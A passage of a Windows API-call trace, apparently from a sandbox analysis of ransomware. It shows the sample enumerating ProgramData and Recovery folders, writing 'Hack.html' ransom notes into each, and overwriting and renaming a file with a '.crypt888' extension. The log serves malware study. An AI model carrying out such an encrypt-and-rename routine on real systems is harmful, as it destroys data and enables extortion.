[0071.707] GetFileType (hFile=0x174) returned 0x1 [0071.711] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\Hack.html" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.712] GetFileType (hFile=0x174) returned 0x1 [0071.712] GetFileType (hFile=0x174) returned 0x1 [0071.714] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\Hack.html" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.717] GetFileType (hFile=0x174) returned 0x1 [0071.717] GetFileType (hFile=0x174) returned 0x1 [0071.719] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\Hack.html" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.721] GetFileType (hFile=0x174) returned 0x1 [0071.721] GetFileType (hFile=0x174) returned 0x1 [0071.723] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\Hack.html" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.725] GetFileType (hFile=0x174) returned 0x1 [0071.726] GetFileType (hFile=0x174) returned 0x1 [0071.728] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.730] GetFileType (hFile=0x174) returned 0x1 [0071.730] GetFileType (hFile=0x174) returned 0x1 [0071.731] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.732] GetFileType (hFile=0x174) returned 0x1 [0071.732] GetFileType (hFile=0x174) returned 0x1 [0071.733] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\Hack.html" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.733] GetFileType (hFile=0x174) returned 0x1 [0071.733] GetFileType (hFile=0x174) returned 0x1 [0071.734] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\Hack.html" (normalized: "c:\\programdata\\package cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.738] GetFileType (hFile=0x174) returned 0x1 [0071.738] GetFileType (hFile=0x174) returned 0x1 [0071.741] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Start Menu\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Start Menu\\Hack.html", lpFilePart=0x0) returned 0x23 [0071.741] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Hack.html" (normalized: "c:\\programdata\\start menu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.742] GetFileType (hFile=0x174) returned 0x1 [0071.742] GetFileType (hFile=0x174) returned 0x1 [0071.742] WriteFile (in: hFile=0x174, lpBuffer=0x27de8b8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x27de8b8*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0071.744] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun", lpFilePart=0x0) returned 0x12 [0071.744] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\", lpFilePart=0x0) returned 0x13 [0071.745] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a168 [0071.746] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.746] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.747] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun", lpFilePart=0x0) returned 0x12 [0071.747] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\", lpFilePart=0x0) returned 0x13 [0071.747] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a168 [0071.747] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.747] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.747] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0071.748] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0071.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0071.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.748] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java", lpFilePart=0x0) returned 0x17 [0071.748] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\", lpFilePart=0x0) returned 0x18 [0071.748] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0071.748] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.749] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.749] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.749] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0071.749] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java", lpFilePart=0x0) returned 0x17 [0071.749] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\", lpFilePart=0x0) returned 0x18 [0071.749] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0071.750] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.750] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.750] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.750] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0071.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0071.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.750] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\Java Update", lpFilePart=0x0) returned 0x23 [0071.750] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\Java Update\\", lpFilePart=0x0) returned 0x24 [0071.751] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0071.751] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.751] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.751] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.751] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.752] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\Java Update", lpFilePart=0x0) returned 0x23 [0071.752] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\Java Update\\", lpFilePart=0x0) returned 0x24 [0071.752] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0071.752] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.752] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.752] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.753] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0071.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.753] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml", lpFilePart=0x0) returned 0x32 [0071.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0071.753] CreateFileW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0071.753] GetFileType (hFile=0x174) returned 0x1 [0071.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0071.753] GetFileType (hFile=0x174) returned 0x1 [0071.753] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x77 [0071.754] ReadFile (in: hFile=0x174, lpBuffer=0x27e2fbc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27e2fbc*, lpNumberOfBytesRead=0x39ed24*=0x77, lpOverlapped=0x0) returned 1 [0071.755] CloseHandle (hObject=0x174) returned 1 [0071.805] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml", lpFilePart=0x0) returned 0x32 [0071.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0071.805] CreateFileW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0071.806] GetFileType (hFile=0x174) returned 0x1 [0071.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0071.806] GetFileType (hFile=0x174) returned 0x1 [0071.806] WriteFile (in: hFile=0x174, lpBuffer=0x2831214*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2831214*, lpNumberOfBytesWritten=0x39ece8*=0x80, lpOverlapped=0x0) returned 1 [0071.807] CloseHandle (hObject=0x174) returned 1 [0071.814] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml", lpFilePart=0x0) returned 0x32 [0071.814] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml.crypt888", lpFilePart=0x0) returned 0x3b [0071.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0071.814] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xbc00c3e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x80)) returned 1 [0071.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0071.814] MoveFileW (lpExistingFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), lpNewFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml.crypt888" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml.crypt888")) returned 1 [0071.815] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\Java Update\\Hack.html", lpFilePart=0x0) returned 0x2d [0071.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0071.815] CreateFileW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\Hack.html" (normalized: "c:\\programdata\\sun\\java\\java update\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.816] GetFileType (hFile=0x174) returned 0x1 [0071.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0071.816] GetFileType (hFile=0x174) returned 0x1 [0071.816] WriteFile (in: hFile=0x174, lpBuffer=0x2833b48*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2833b48*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0071.817] CloseHandle (hObject=0x174) returned 1 [0071.817] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Java\\Hack.html", lpFilePart=0x0) returned 0x21 [0071.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0071.817] CreateFileW (lpFileName="C:\\ProgramData\\Sun\\Java\\Hack.html" (normalized: "c:\\programdata\\sun\\java\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.818] GetFileType (hFile=0x174) returned 0x1 [0071.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0071.818] GetFileType (hFile=0x174) returned 0x1 [0071.818] WriteFile (in: hFile=0x174, lpBuffer=0x28362d0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x28362d0*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0071.819] CloseHandle (hObject=0x174) returned 1 [0071.819] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun\\Hack.html", lpFilePart=0x0) returned 0x1c [0071.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0071.819] CreateFileW (lpFileName="C:\\ProgramData\\Sun\\Hack.html" (normalized: "c:\\programdata\\sun\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.820] GetFileType (hFile=0x174) returned 0x1 [0071.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0071.820] GetFileType (hFile=0x174) returned 0x1 [0071.820] WriteFile (in: hFile=0x174, lpBuffer=0x2838a48*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2838a48*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0071.830] CloseHandle (hObject=0x174) returned 1 [0071.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.830] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Templates", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Templates", lpFilePart=0x0) returned 0x18 [0071.830] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Templates\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Templates\\", lpFilePart=0x0) returned 0x19 [0071.830] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Templates\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0xffffffff [0071.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edbc) returned 1 [0071.832] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Templates\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Templates\\Hack.html", lpFilePart=0x0) returned 0x22 [0071.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0071.832] CreateFileW (lpFileName="C:\\ProgramData\\Templates\\Hack.html" (normalized: "c:\\programdata\\templates\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.833] GetFileType (hFile=0x174) returned 0x1 [0071.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0071.833] GetFileType (hFile=0x174) returned 0x1 [0071.833] WriteFile (in: hFile=0x174, lpBuffer=0x283bc40*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x283bc40*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0071.834] CloseHandle (hObject=0x174) returned 1 [0071.834] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e828, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Hack.html", lpFilePart=0x0) returned 0x18 [0071.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed1c) returned 1 [0071.834] CreateFileW (lpFileName="C:\\ProgramData\\Hack.html" (normalized: "c:\\programdata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.836] GetFileType (hFile=0x174) returned 0x1 [0071.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed18) returned 1 [0071.836] GetFileType (hFile=0x174) returned 0x1 [0071.836] WriteFile (in: hFile=0x174, lpBuffer=0x283e3a8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed98, lpOverlapped=0x0 | out: lpBuffer=0x283e3a8*, lpNumberOfBytesWritten=0x39ed98*=0xba, lpOverlapped=0x0) returned 1 [0071.837] CloseHandle (hObject=0x174) returned 1 [0071.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0071.837] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0071.837] GetFullPathNameW (in: lpFileName="C:\\Recovery\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\", lpFilePart=0x0) returned 0xc [0071.837] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x59a1a8 [0071.838] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.838] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.838] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0071.839] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0071.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0071.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0071.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0071.839] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0071.839] GetFullPathNameW (in: lpFileName="C:\\Recovery\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\", lpFilePart=0x0) returned 0xc [0071.839] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x59a1a8 [0071.839] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.839] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0071.839] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0071.839] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0071.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0071.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0071.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0071.840] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0071.840] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpFilePart=0x0) returned 0x31 [0071.840] FindFirstFileW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a1a8 [0071.840] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.840] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.840] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0071.840] FindNextFileW (in: hFindFile=0x59a1a8, 